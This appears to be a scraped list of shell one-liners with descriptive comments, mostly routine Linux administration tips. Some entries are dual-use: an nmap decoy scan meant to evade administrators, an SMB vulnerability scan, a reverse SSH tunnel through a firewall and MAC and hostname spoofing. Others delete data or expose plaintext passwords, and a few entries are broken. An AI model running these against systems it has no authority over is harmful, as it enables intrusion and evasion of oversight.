dig -t txt -c chaos VERSION.BIND @<dns.server.com>

# Prints total line count contribution per user for an SVN repository
svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{print $2}' | sort | uniq -c | sort -r

# ssh autocomplete
complete -W "$(echo $(grep '^ssh ' .bash_history | sort -u | sed 's/^ssh //'))" ssh

# Submit data to a HTML form with POST method and save the response
curl -sd 'rid=value&submit=SUBMIT' <URL> > out.html

# count how many times a string appears in a (source code) tree
$ grep -or string path/ | wc -l

# Create a tar archive using 7z compression
tar cf - /path/to/data | 7z a -si archivename.tar.7z



# Outputs files with ascii art in the intended form.
iconv -f437 -tutf8 asciiart.nfo

# Use Cygwin to talk to the Windows clipboard
cat /dev/clipboard; $(somecommand) > /dev/clipboard

# Update twitter from command line without reveal your password
curl -n -d status='Hello from cli' https://twitter.com/statuses/update.xml

# permanently let grep colorize its output
echo alias grep=\'grep --color=auto\' >> ~/.bashrc ; . ~/.bashrc

# Scan Network for Rogue APs.
nmap -A -p1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000 --initial-rtt-timeout 300 --max-retries 3 --host-timeout 20m --max-scan-delay 1000 -oA wapscan 10.0.0.0/8

# Merges given files line by line
paste -d ',:' file1 file2 file3

# Easily scp a file back to the host you're connecting from
mecp () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; }

# Find broken symlinks and delete them
find -L /path/to/check -type l -delete

# Find corrupted jpeg image files
find . -name "*jpg" -exec jpeginfo -c {} \; | grep -E "WARNING|ERROR"

# Get line number of all matches in a file
awk '/match/{print NR}' file

# du disk top 10
for i in `du --max-depth=1 $HOME | sort -n -r | awk '{print $1 ":" $2}'`; do size=`echo $i | awk -F: '{print $1}'`; dir=`echo $i | awk -F: '{print $NF}'`; size2=$(($size/1024)); echo "$size2 MB used by $dir"; done | head -n 10

# List and delete files older than one year
find <directory path> -mtime +365 -and -not -type d -delete

# backup and remove files with access time older than 5 days.
tar -zcvpf backup_`date +"%Y%m%d_%H%M%S"`.tar.gz `find <target> -atime +5` 2> /dev/null | xargs rm -fr ;

# Convert a file from ISO-8859-1 (or whatever) to UTF-8 (or whatever)
tcs -f 8859-1 -t utf /some/file

# Execute multiple commands from history
!219 ; !229 ; !221

# Interactively build regular expressions
txt2regex

# Quick screenshot
import -pause 5 -window root desktop_screenshot.jpg

# The NMAP command you can use scan for the Conficker virus on your LAN
nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 192.168.0.1-254

# Generate a list of installed packages on Debian-based systems
dpkg --get-selections > LIST_FILE

# Fibonacci numbers with awk
seq 50| awk 'BEGIN {a=1; b=1} {print a; c=a+b; a=b; b=c}'

# Display which user run process from given port name
fuser -nu tcp 3691

# Decreasing the cdrom device speed
eject -x 4

# Show webcam output
mplayer tv:// -tv driver=v4l:width=352:height=288

# Open the last file you edited in Vim.
alias lvim="vim -c \"normal '0\""

# Merge *.pdf files
gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf `ls *.pdf`



# Convert images to a multi-page pdf
convert -adjoin -page A4 *.jpeg multipage.pdf

# Keep from having to adjust your volume constantly
find . -iname \*.mp3 -print0 | xargs -0 mp3gain -krd 6 && vorbisgain -rfs .

# Poke a Webserver to see what it's powered by.
wget -S -O/dev/null "INSERT_URL_HERE" 2>&1 | grep Server

# Exclude svn directories with grep
grep -r --exclude-dir=.svn PATTERN PATH

# show dd progress
killall -USR1 dd

# mp3 streaming
nc -l -p 2000 < song.mp3

# Convert .wma files to .ogg with ffmpeg
find -name '*wma' -exec ffmpeg -i {} -acodec vorbis -ab 128k {}.ogg \;

# VIM version 7: edit in tabs
vim -p file1 file2 ...

# Copy specific files to another machine, keeping the file hierarchy
tar cpfP - $(find <somedir> -type f -name *.png) | ssh user@host | tar xpfP -

# Generate Random Passwords
< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c6

# split a string (2)
read VAR1 VAR2 VAR3 < <(echo aa bb cc); echo $VAR2

# Redirect a filehandle from a currently running process.
yes 'Y'|gdb -ex 'p close(1)' -ex 'p creat("/tmp/output.txt",0600)' -ex 'q' -p pid

# Synthesize text as speech
echo "hello world"  | festival --tts

# Mute xterm
xset b off

# C one-liners
/lib/ld-linux.so.2 =(echo -e '#include <stdio.h>\nint main(){printf("c one liners\\n");}' | gcc -x c -o /dev/stdout -)

# Force machine to reboot no matter what (even if /sbin/shutdown is hanging)
echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger

# Use /dev/full to test language I/O-failsafety
perl -e 'print 1, 2, 3' > /dev/full

# Generate a graph of package dependencies
apt-cache dotty apache2 | dot -T png | display

# List your sudo rights
sudo -l

# Copy history from one terminal to another
history -w <switch to another terminal> history -r

# Create an SSH tunnel for accessing your remote MySQL database with a local port
ssh -CNL 3306:localhost:3306 user@site.com

# Export MySQL query as .csv file
echo "SELECT * FROM table; " | mysql -u root -p${MYSQLROOTPW} databasename | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > outfile.csv

# Check the age of the filesystem
df / | awk '{print $1}' | grep dev | xargs tune2fs -l | grep create

# Add temporary swap space
dd if=/dev/zero of=/swapfile bs=1M count=64; chmod 600 /swapfile; mkswap /swapfile; swapon /swapfile

# print indepth hardware info
sudo dmidecode | more



# ubuntu easter eggs
apt-get moo

# Get a quick list of all user and group owners of files and dirs under the cwd.
find -printf '%u %g\n' | sort | uniq

# Convert the contents of a directory listing into a colon-separated environment variable
find . -name '*.jar' -printf '%f:'

# quick input
alt + .

# know the current running shell (the true)
echo $0

# Exclude grep from your grepped output of ps (alias included in description)
ps aux | grep [h]ttpd

# make a log of a terminal session
script

# seq can produce the same thing as Perl's ... operator.
for i in $(seq 1 50) ; do echo Iteration $i ; done

# top 10 commands used
sed -e 's/ *$//' ~/.bash_history | sort | uniq -cd | sort -nr | head

# Quick way to sum every numbers in a file written line by line
(sed 's/^/x+=/' [yourfile] ; echo x) | bc

# cat a file backwards
tac file.txt

# Count the number of queries to a MySQL server
echo "SHOW PROCESSLIST\G" | mysql -u root -p | grep "Info:" | awk -F":" '{count[$NF]++}END{for(i in count){printf("%d: %s\n", count[i], i)}}' | sort -n

# Outputs a sorted list of disk usage to a text file
du | sort -gr > file_sizes

# Quickly share code or text from vim to others.
:w !curl -F "sprunge=<-" http://sprunge.us | xclip

# run remote linux desktop
xterm -display :12.0 -e ssh -X user@server &

# find all active IP addresses in a network
nmap -sP 192.168.1.0/24; arp -n  | grep "192.168.1.[0-9]* *ether"

# Unix commandline history substitution like ^foo^bar BUT for multiple replacements
!!:gs/Original/New/

# Find pages returning 404 errors in apache logs
awk '$9 == 404 {print $7}' access_log | uniq -c | sort -rn | head

# Robust expansion (i.e. crash) of bash variables with a typo
set -eu

# dd with progress bar
dd if=/dev/nst0 |pv|dd of=restored_file.tar

# Copy file content to X clipboard
:%y *

# Print a row of characters across the terminal
seq -s'#' 0 $(tput cols) | tr -d '[:digit:]'

# nagios wrapper for any script/cron etc
CMD="${1}"; LOG="${2}"; N_HOST="${3}"; N_SERVICE="${4}"; ${CMD} >${LOG} 2>&1; EXITSTAT=${?}; OUTPUT="$(tail -1 ${LOG})";echo "${HOSTNAME}:${N_SERVICE}:${EXITSTAT}:${OUTPUT}" | send_nsca -H ${N_HOST} -d : -c /etc/nagios/send_nsca.cfg >/dev/null 2>&1

# simple backup with rsync
0 10 * * * rsync -rau /[VIPdirectory] X.X.X.X:/backup/[VIPdirectory]

# a function to create a box of '=' characters around a given string.
box() { t="$1xxxx";c=${2:-=}; echo ${t//?/$c}; echo "$c $1 $c"; echo ${t//?/$c}; }



# Show top committers for SVN repositority for today
svn log -r {`date "+%Y-%m-%d"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c

# shell function to make gnu info act like man.
myinfo() { info --subnodes -o - $1 | less; }

# Get your commandlinefu points (upvotes - downvotes)
username=matthewbauer; curl -s http://www.commandlinefu.com/commands/by/$username/json | tr '{' '\n' | grep -Eo ',"votes":"[0-9\-]+","' | grep -Eo '[0-9\-]+' | tr '\n' '+' | sed 's/+$/\n/' | bc

# split a multi-page PDF into separate files
pdftk in.pdf burst

# Extend a logical volume to use up all the free space in a volume group
lvextend -l +100%FREE /dev/VolGroup00/LogVol00

# Use bash history with process substitution
<(!!)

# How to secure delete a file
shred -u -z -n 17 rubricasegreta.txt

# Replace spaces in filenames with underscores
for f in *;do mv "$f" "${f// /_}";done

# Show some trivia related to the current date
calendar

# Give to anyone a command to immediatly find a particular part of a man.
man <COMMAND> | less +'/pattern'

# Optimize PDF documents
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf

# Do some learning...
for i in $(ls /usr/bin); do whatis $i | grep -v nothing; done | more

# get bofh excuse from a trusted source :-)
telnet bofh.jeffballard.us 666

# Rename .JPG to .jpg recursively
find /path/to/images -name '*.JPG' -exec rename "s/.JPG/.jpg/g" \{\} \;

# external projector for presentations
xrandr --auto

# climagic's New Year's Countdown clock
while V=$((`date +%s -d"2010-01-01"`-`date +%s`));do if [ $V == 0 ];then figlet 'Happy New Year!';break;else figlet $V;sleep 1;clear;fi;done

# Increase mplayer maximum volume
mplayer dvd:// -softvol -softvol-max 500

# Display the output of a command from the first line until the first instance of a regular expression.
command | sed -n '1,/regex/p'

# Print trending topics on Twitter
curl -s search.twitter.com | awk -F'</?[^>]+>' '/\/intra\/trend\//{print $2}'

# Block the 6700 worst spamhosts
wget -q -O - http://someonewhocares.org/hosts/ | grep ^127 >> /etc/hosts

# See non printable caracters like tabulations, CRLF, LF line terminators ( colored )
od -c <FILE> | grep --color '\\.'

# determine if tcp port is open
nc -zw2 www.example.com 80 && echo open

# Get the time from NIST.GOV
cat </dev/tcp/time.nist.gov/13

# Script executes itself on another host with one ssh command
[ $1 == "client" ] && hostname || cat $0 | ssh $1 /bin/sh -s client

# Find the cover image for an album
albumart(){ local y="$@";awk '/View larger image/{gsub(/^.*largeImagePopup\(.|., .*$/,"");print;exit}' <(curl -s 'http://www.albumart.org/index.php?srchkey='${y// /+}'&itempage=1&newsearch=1&searchindex=Music');}



# aptitude easter eggs
aptitude moo

# Remove executable bit from all files in the current directory recursively, excluding other directories
chmod -R -x+X *

# another tweet function
tweet () { curl -u UserName -d status="$*" http://twitter.com/statuses/update.xml; }

# Press Any Key to Continue
read -sn 1 -p 'Press any key to continue...';echo

# cpu and memory usage top 10 under Linux
ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f\t%.2f\n",num[user], user, cpu[user], mem[user]) }'

# lotto generator
shuf -i 1-49 | head -n6 | sort -n| xargs

# create iso image from a directory
mkisofs -o XYZ.iso XYZ/

# Check a server is up. If it isn't mail me.
ping -q -c1 -w3 brandx.jp.sme 2&>1 /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk

# Create an SSH connection (reverse tunnel) through your firewall.
ssh -R 2001:localhost:22 [username]@[remote server ip]

# Using tput to save, clear and restore the terminal contents
tput smcup; echo "Doing some things..."; sleep 2; tput rmcup

# Transforms a file to all uppercase.
tr '[:lower:]' '[:upper:]' <"$1"

# Changing the terminal title to the last shell command
trap 'echo -e "\e]0;$BASH_COMMAND\007"' DEBUG

# Matrix Style
check the sample output below, the command was too long :(

# randomize hostname and mac address, force dhcp renew. (for anonymous networking)
dhclient -r && rm -f /var/lib/dhcp3/dhclient* && sed "s=$(hostname)=REPLACEME=g" -i /etc/hosts && hostname "$(echo $RANDOM | md5sum  | cut -c 1-7 | tr a-z A-Z)" && sed "s=REPLACEME=$(hostname)=g" -i /etc/hosts && macchanger -e eth0 && dhclient

# save  date and time for each command in history
export HISTTIMEFORMAT='%F %T '

# Visualizing system performance data
(echo "set terminal png;plot '-' u 1:2 t 'cpu' w linespoints;"; sudo vmstat 2 10 | awk 'NR > 2 {print NR, $13}') | gnuplot > plot.png

# print all except first collumn
awk '{$1=""; print}'

# random xkcd comic
display "$(wget -q http://dynamic.xkcd.com/comic/random/ -O - | grep -Po '(?<=")http://imgs.xkcd.com/comics/[^"]+(png|jpg)')"

# connect via ssh using mac address
sudo arp -s 192.168.1.200  00:35:cf:56:b2:2g temp && ssh root@192.168.1.200

# sort lines by length
perl -lne '$l{$_}=length;END{for(sort{$l{$a}<=>$l{$b}}keys %l){print}}' < /usr/share/dict/words | tail

# Create a zip file ignoring .svn files
zip -r foo.zip DIR -x "*/.svn/*"

# Skip over .svn directories when using the
find . -name .svn -prune -o -print

# Sync MySQL Servers via secure SSH-tunnel
ssh -f -L3307:127.0.0.1:3306 -N -t -x user@host sleep 600 ; mk-table-sync --execute --verbose u=root,p=xxx,h=127.0.0.1,P=3307 u=root,p=xxx,h=localhost

# Let your computer lull you to sleep
echo {1..199}" sheep," | espeak -v english -s 80

# Download all Phrack .tar.gzs
curl http://www.phrack.org/archives/tgz/phrack[1-67].tar.gz -o phrack#1.tar.gz



# Get the size of all the directories in current directory (Sorted Human Readable)
sudo du -ks $(ls -d */) | sort -nr | cut -f2 | xargs -d '\n' du -sh 2> /dev/null

# insert ip range using vim
:for i in range(1,255) | .put='192.168.0.'.i | endfor

# return external ip
wget -O - -q icanhazip.com

# Regex to remove HTML-Tags from a file
sed -e :a -e 's/<[^>]*>//g;/</N;//ba' index.html

# find the biggest files recursively, no matter how many
find . -type f -printf '%20s %p\n' | sort -n | cut -b22- | tr '\n' '\000' | xargs -0 ls -laSr

# Sum columns from CSV column $COL
awk -F ',' '{ x = x + $4 } END { print x }' test.csv

# Copy ssh keys to user@host to enable password-less ssh logins.
ssh-copy-id user@host

# sed : using colons as separators instead of forward slashes
sed "s:/old/direcory/:/new/directory/:" <file>

# Send email with one or more binary attachments
echo "Body goes here" | mutt -s "A subject" -a /path/to/file.tar.gz recipient@example.com

# Alert on Mac when server is up
ping -o -i 30 HOSTNAME && osascript -e 'tell app "Terminal" to display dialog "Server is up" buttons "It?s about time" default button 1'

# ssh and attach to a screen in one line.
ssh -t user@host screen -x <screen name>

# how many packages installed on your archlinux?
pacman -Q|wc -l

# Delete all but latest file in a directory
ls -t1 | sed 1d | xargs rm

# recursive reset file/dir perms
find public_html/stuff -type d -exec chmod 755 {} + -or -type f -exec chmod 644 {} +

# create directory and set owner/group/mode in one shot
install -o user -g group -m 0700 -d /path/to/newdir

# Search Google from the command line
curl -A Mozilla http://www.google.com/search?q=test |html2text -width 80

# Use a decoy while scanning ports to avoid getting caught by the sys admin :9
sudo nmap -sS 192.168.0.10 -D 192.168.0.2

# Display ncurses based network monitor
nload -u m eth0

# Move files around local filesystem with tar without wasting space using an intermediate tarball.
( cd SOURCEDIR && tar cf - . ) | (cd DESTDIR && tar xvpf - )

# Search command history on bash
ctrl + r

# Check if network cable is plugged in and working correctly
mii-tool eth0

# find the 10 latest (modified) files
ls -1t | head -n10

# securely erase unused blocks in a partition
# cd $partition; dd if=/dev/zero of=ShredUnusedBlocks bs=512M; shred -vzu ShredUnusedBlocks

# Redirect incoming traffic to SSH, from a port of your choosing
iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] -j REDIRECT --to-ports 22

# Get all possible problems from any log files
grep -2 -iIr "err\|warn\|fail\|crit" /var/log/*



# Twit Amarok "now playing" song
curl -u <user>:<password> -d status="Amarok, now playing: $(dcop amarok default nowPlaying)" http://twitter.com/statuses/update.json

# Get pages number of the pdf file
pdfinfo Virtualization_A_Beginner_Guide.pdf | awk /Pages/

# Backup sda5 partition to ftp ( using pipes and gziped backup )
dd if=/dev/sda5 bs=2048 conv=noerror,sync | gzip -fc | lftp -u user,passwd domain.tld -e "put /dev/stdin -o backup-$(date +%Y%m%d%H%M).gz; quit"

# View and review the system process tree.
pstree -Gap | less -r

# combine `mkdir foo && cd foo`  into a single function `mcd foo`
function mcd() {   [ -n "$1" ] && mkdir -p "$@" && cd "$1";   }

# Prevent shell autologout
unset TMOUT

# Get video information with ffmpeg
ffmpeg -i filename.flv

# Go to the previous sibling directory in alphabetical order
cd ../"$(ls -F ..|grep '/'|grep -B1 `basename $PWD`|head -n 1)"

# Hostname tab-completion for ssh
function autoCompleteHostname() {   local hosts;   local cur;   hosts=($(awk '{print $1}' ~/.ssh/known_hosts | cut -d, -f1));   cur=${COMP_WORDS[COMP_CWORD]};   COMPREPLY=($(compgen -W '${hosts[@]}' -- $cur )) } complete -F autoCompleteHostname ssh

# Consolle based network interface monitor
ethstatus -i eth0

# Add a shadow to picture
convert {$file_in} \( +clone -background black -shadow 60x5+10+10 \) +swap -background none -layers merge +repage  {$file_out}

# Smart renaming
ls | sed -n -r 's/banana_(.*)_([0-9]*).asc/mv & banana_\2_\1.asc/gp' | sh

# Releases Firefox of a still running message
rm ~/.mozilla/firefox/<profile_dir>/.parentlock

# synchronicity
cal 09 1752

# List files opened by a PID
lsof -p 15857

# vi keybindings with info
info --vi-keys

# dstat - a mix of vmstat, iostat, netstat, ps, sar...
dstat -ta

# backup and synchronize entire remote folder locally (curlftpfs and rsync over FTP using FUSE FS)
curlftpfs ftp://YourUsername:YourPassword@YourFTPServerURL /tmp/remote-website/ && rsync -av /tmp/remote-website/* /usr/local/data_latest && umount /tmp/remote-website

# Find brute force attempts on SSHd
cat /var/log/secure | grep sshd | grep Failed | sed 's/invalid//' | sed 's/user//' | awk '{print $11}' | sort | uniq -c | sort -n

# Show a curses based menu selector
whiptail --checklist "Simple checkbox menu" 11 35 5 tag item status repeat tags 1

# Use a Gmail virtual disk (GmailFS) on Ubuntu
mount.gmailfs none /mount/path/ [-o username=USERNAME[,password=PASSWORD][,fsname=VOLUME]] [-p]

# Download from Rapidshare Premium using wget - Part 2
wget -c -t 1 --load-cookies ~/.cookies/rapidshare <URL>

# Make the "tree" command pretty and useful by default
alias tree="tree -CAFa -I 'CVS|*.*.package|.svn|.git' --dirsfirst"

# Clean swap area after using a memory hogging application
swapoff -a ; swapon -a

# run php code inline from the command line
php -r 'echo strtotime("2009/02/13 15:31:30")."\n";'



# Remux an avi video if it won't play easily on your media device
mencoder -ovc copy -oac copy -of avi -o remuxed.avi original.avi

# Edit the last or previous command line in an editor then execute
fc [history-number]

# List the largest directories & subdirectoties in the current directory sorted from largest to smallest.
du -k | sort -r -n | more

# Transfer large files/directories with no overhead over the network
ssh user@host "cd targetdir; tar cfp - *" | dd of=file.tar

# Quickly generate an MD5 hash for a text string using OpenSSL
echo -n 'text to be encrypted' | openssl md5

# Quickly add user accounts to the system and force a password change on first login
for name in larry moe schemp; do useradd $name; echo 'password' | passwd --stdin $name; chage -d 0 $name; done

# Edit the Last Changed File
vim $( ls -t | head -n1 )

# Fast command-line directory browsing
function cdls { cd $1; ls; }

# prevents replace an existing file by mistake
set -o noclobber

# Download an entire ftp directory using wget
wget -r ftp://user:pass@ftp.example.com

# Bash prompt with user name, host, history number, current dir and just a touch of color
export PS1='\n[\u@\h \! \w]\n\[\e[32m\]$ \[\e[0m\]'

# Create a bunch of dummy files for testing
touch {1..10}.txt

# Quickly analyze apache logs for top 25 most common IP addresses.
cat $(ls -tr | tail -1) | awk '{ a[$1] += 1; } END { for(i in a) printf("%d, %s\n", a[i], i ); }' | sort -n  | tail -25

# Redefine the cd command's behavior
cd() { builtin cd "${@:-$HOME}" && ls; }

# Print text string vertically, one character per line.
echo Print text vertically|sed 's/\(.\)/\1\n/g'

# Check for login failures and summarize
zgrep "Failed password" /var/log/auth.log* | awk '{print $9}' | sort | uniq -c | sort -nr | less

# awk using multiple field separators
awk -F "=| "

# Shows size of dirs and files, hidden or not, sorted.
du -cs * .[^\.]* | sort -n

# Install a local RPM package from your desktop, then use the YUM repository to resolve its dependencies.
yum localinstall /path/to/package.rpm

# Use mplayer to save video streams to a file
mplayer -dumpstream -dumpfile "yourfile" -playlist "URL"

# Add forgotten changes to the last git commit
git commit --amend

# Getting information about model no. of computer
dmidecode | grep -i prod

# skip broken piece of a loop but not exit the loop entirely
ctrl + \

# Get your Tweets from the command line
curl -s -u user:password 'http://twitter.com/statuses/friends_timeline.xml?count=5' | xmlstarlet sel -t -m '//status' -v 'user/screen_name' -o ': ' -v 'text' -n

# See the 10 programs the most used
sed -e "s/| /\n/g" ~/.bash_history | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head



# ssh -A user@somehost
ssh -A user@somehost

# which process has a port open
lsof -i :80

# Search previous commands from your .bash_history
ctrl + r

# vimdiff local and remote files via ssh
vimdiff /path/to/file scp://remotehost//path/to/file

# Find broken symlinks
find . -type l ! -exec test -e {} \; -print

# Extract a remote tarball in the current directory without having to save it locally
curl http://example.com/foo.tar.gz | tar zxvf -

# Unencrypted voicechat
On PC1:  nc -l -p 6666 > /dev/dsp   On PC2:  cat /dev/dsp | nc <PC1's IP> 6666

# Display IPs accessing your Apache webserver.
egrep -o '\b[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\b' access.log | sort -u

# Parse a quoted .csv file
awk -F'^"|", "|"$' '{ print $2,$3,$4 }' file.csv

# Convert mysql database from latin1 to utf8
mysqldump --add-drop-table -uroot -p "DB_name"  | replace CHARSET=latin1 CHARSET=utf8 | iconv -f latin1 -t utf8 | mysql -uroot -p "DB_name"

# Click on a GUI window and show its process ID and command used to run the process
xprop | awk '/PID/ {print $3}' | xargs ps h -o pid,cmd

# Does a full update and cleaning in one line
sudo apt-get update && sudo apt-get upgrade && sudo apt-get autoclean && sudo apt-get autoremove

# Change string in many files at once and more.
find . -type f -exec grep -l XXX {} \;|tee /tmp/fileschanged|xargs perl -pi.bak -e 's/XXX/YYY/g'

# Concatenate (join) video files
mencoder -forceidx -ovc copy -oac copy -o output.avi video1.avi video2.avi

# Octal ls
ls -l | awk '{k=0;for(i=0;i<=8;i++)k+=((substr($1,i+2,1)~/[rwx]/)*2^(8-i));if(k)printf("%0o ",k);print}'

# Find 'foo' string inside files
find . -type f -print | xargs grep foo

# recurisvely md5 all files in a tree
find ./backup -type f -print0 | xargs -0 md5sum > /checksums_backup.md5

# Removes file with a dash in the beginning of the name
rm -- --myfile

# Display any tcp connections to apache
for i in `ps aux | grep httpd | awk '{print $2}'`; do lsof -n -p $i | grep ESTABLISHED; done;

# Quickly get summary of sizes for files and folders
du -sh *

# Smart `cd`.. cd to the file directory if you try to cd to a file
cd() { if [ -z "$1" ]; then command cd; else if [ -f "$1" ]; then command cd $(dirname "$1"); else command cd "$1"; fi; fi; }

# Preserve colors when piping tree to less
tree -C | less -R

# bash pause command
read -sn1 -p "Press any key to continue..."; echo

# most used commands in history (comprehensive)
history | perl -F"\||<\(|;|\`|\\$\(" -alne 'foreach (@F) { print $1 if /\b((?!do)[a-z]+)\b/i }' | sort | uniq -c | sort -nr | head

# Sync the date of one server to that of another.
sudo date -s  "$(ssh user@server.com "date -u")"



# Simple addicting bash game.
count="1" ; while true ; do read next ; if [[ "$next" = "$last" ]] ; then count=$(($count+1)) ; echo "$count" ; else count="1" ; echo $count ; fi ; last="$next" ; done

# Show the PATH, one directory per line
printf ${PATH//:/\\n}

# Print a row of 50 hyphens
seq -s" " -50 -1 | tr -dc -

# Update zone file Serial numbers
sed -i 's/20[0-1][0-9]\{7\}/'`date +%Y%m%d%I`'/g' *.db

# Multi-line grep
perl -ne 'BEGIN{undef $/}; print "$ARGV\t$.\t$1\n" if m/(first line.*\n.*second line)/mg'

# Group OR'd commands where you expect only one to work
( zcat $FILE || gzcat $FILE || bzcat2 $FILE ) | less

# Search $PATH for a command or something similar
find ${PATH//:/ } -name \*bash\*

# See a full last history by expanding logrotated wtmp files
( last ; ls -t /var/log/wtmp-2* | while read line ; do ( rm /tmp/wtmp-junk ; zcat $line 2>/dev/null || bzcat $line ) > /tmp/junk-wtmp ; last -f /tmp/junk-wtmp ; done ) | less

# List .log files open by a pid
lsof -p 1234 | grep -E "\.log$" | awk '{print $NF}'

# Save xkcd to a pdf with captions
curl -sL xkcd.com | grep '<img [^>]*/><br/>' | sed -r 's|<img src="(.*)" title="(.*)" alt="(.*)" /><br/>|\1\t\2\t\3|' > /tmp/a; curl -s $(cat /tmp/a | cut -f1) | convert - -gravity south -draw "text 0,0 \"$(cat /tmp/a | cut -f2)\"" pdf:- > xkcd.pdf

# Using mplayer to play the audio only but suppress the video
mplayer -vo null something.mpg

# Google Spell Checker
spellcheck(){ typeset y=$@;curl -sd "<spellrequest><text>$y</text></spellrequest>" https://google.com/tbproxy/spell|sed -n '/s="[0-9]"/{s/<[^>]*>/ /g;s/\t/ /g;s/ *\(.*\)/Suggestions: \1\n/g;p}'|tee >(grep -Eq '.*'||echo -e "OK");}

# Get the weather forecast for the next 24 to 48 for your location.
weather(){ curl -s "http://api.wunderground.com/auto/wui/geo/ForecastXML/index.xml?query=${@:-<YOURZIPORLOCATION>}"|perl -ne '/<title>([^<]+)/&&printf "%s: ",$1;/<fcttext>([^<]+)/&&print $1,"\n"';}

# A function to find the newest file in a directory
newest () { find ${1:-\.} -type f |xargs ls -lrt ; }

# How to backup hard disk timely?
rsync -a --link-dest=/media/backup/$HOSTNAME/$PREVDATE '--exclude=/[ps][ry][os]' --exclude=/media/backup/$HOSTNAME / /media/backup/$HOSTNAME/$DATE/

# Replace spaces in filenames with underscores
rename 's/ /_/g' *

# Erase a word
<CTRL+w>

# Do some Perl learning...
podwebserver& sleep 2; elinks 'http://127.0.0.1:8020'

# A command to post a message to Twitter that includes your geo-location and a short URL.
curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s tinyurl.com/api-create.php?url=URL_GOES_HERE) $(curl -s api.hostip.info/get_html.php?ip=$(curl ip.appspot.com))" -d source="cURL" twitter.com/statuses/update.json -o /dev/null

# Finding all files on local file system with SUID and SGID set
find / \( -local -o -prune \) \( -perm -4000 -o -perm -2000 \) -type f -exec ls -l {} \;

# Replace space in filename
rename "s/ *//g" *.jpg

# Check reverse DNS
dig +short -x {ip}

# Extract tarball from internet without local saving
wget -O - http://example.com/a.gz | tar xz

# Another Matrix Style Implementation
COL=$(( $(tput cols) / 2 )); clear; tput setaf 2; while :; do tput cup $((RANDOM%COL)) $((RANDOM%COL)); printf "%$((RANDOM%COL))s" $((RANDOM%2)); done

# Create mails array from .mutt-alias file.
muttlst(){ for i in $*;do mails+=($(grep -wi "$i" .mutt-alias|awk '{print $NF}'));done;}



# Optimal way of deleting huge numbers of files
find /path/to/dir -type f -delete

# Update twitter via curl (and also set the "from" bit)
curl -u twitter-username -d status="Hello World, Twitter!" -d source="cURL" http://twitter.com/statuses/update.xml

# convert pdf to graphic file format (jpg , png , tiff ... )
convert sample.pdf sample.jpg

# Match a URL
egrep 'https?://([[:alpha:]]([-[:alnum:]]+[[:alnum:]])*\.)+[[:alpha:]]{2,3}(:\d+)?(/([-\w/_\.]*(\?\S+)?)?)?'

# set your ssd disk as a non-rotating medium
sudo echo 0 > /sys/block/sdb/queue/rotational

# List all symbolic links in current directory
find /path -type l

# Mount a Windows share on the local network (Ubuntu) with user rights and use a specific samba user
sudo mount -t cifs -o user,username="samba username" //$ip_or_host/$sharename /mnt

# Find all dot files and directories
echo .*

# List all available commands (bash, ksh93)
printf "%s\n" ${PATH//:/\/* }

# Merge Two or More PDFs into a New Document
pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf

# check the status of 'dd' in progress
watch -n 10 killall -USR1 dd

# Upload images to omploader.org from the command line.
ompload() { curl -# -F file1=@"$1" http://omploader.org/upload|awk '/Info:|File:|Thumbnail:|BBCode:/{gsub(/<[^<]*?\/?>/,"");$1=$1;print}';}

# Play random music from blip.fm
mpg123 `curl -s http://blip.fm/all | sed -e 's#"#\n#g'  | grep mp3$  | xargs`

# Test speaker channels
speaker-test -D plug:surround51 -c 6 -l 1 -t wav

# Go up multiple levels of directories quickly and easily.
cd() { if [[ "$1" =~ ^\.\.+$ ]];then local a dir;a=${#1};while [ $a -ne 1 ];do dir=${dir}"../";((a--));done;builtin cd $dir;else builtin cd "$@";fi ;}

# enumerate with padding
echo {001..5}

# Auto Rotate Cube (compiz)
wmctrl -o 2560,0 ;sleep 2 ; echo "FIRE 001" | osd_cat -o 470 -s 8 -c red -d 10 -f -*-bitstream\ vera\ sans-*-*-*--250-*-*-*-*-*-*-* ; sleep 1; wmctrl -o 0,0

# Turn On/Off Keyboard LEDs via commandline
xset led 3

# rsync + find
find . -name "whatever.*" -print0 | rsync -av --files-from=- --from0 ./ ./destination/

# Function to output an ASCII character given its decimal equivalent
chr () { printf \\$(($1/64*100+$1%64/8*10+$1%8)); }

# Display the history and optionally grep
h() { if [ -z "$1" ]; then history; else history | grep "$@"; fi; }

# List your largest installed packages.
dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files0-from - | tail -1 | sed "s/total/$pkg/"; done

# Verify MD5SUMS but only print failures
md5sum --check MD5SUMS | grep -v ": OK"

# Change newline to space in a file just using echo
echo $(</tmp/foo)

# send kernel log (dmesg) notifications to root via cron
(crontab -l; echo '* * * * * dmesg -c'; ) | crontab -



# create pdf files from text files or stdout.
enscript jrandom.txt -o - | ps2pdf - ~/tmp/jrandom.pdf  (from file) or: ls | enscript -o - | ps2pdf - ~/tmp/ls.pdf (from stdout)

# Install a LAMP server in a Debian based distribution
sudo tasksel install lamp-server

# Backup all MySQL Databases to individual files
mysql -e 'show databases' | sed -n '2,$p' | xargs -I DB 'mysqldump DB > DB.sql'

# convert .bin / .cue into .iso image
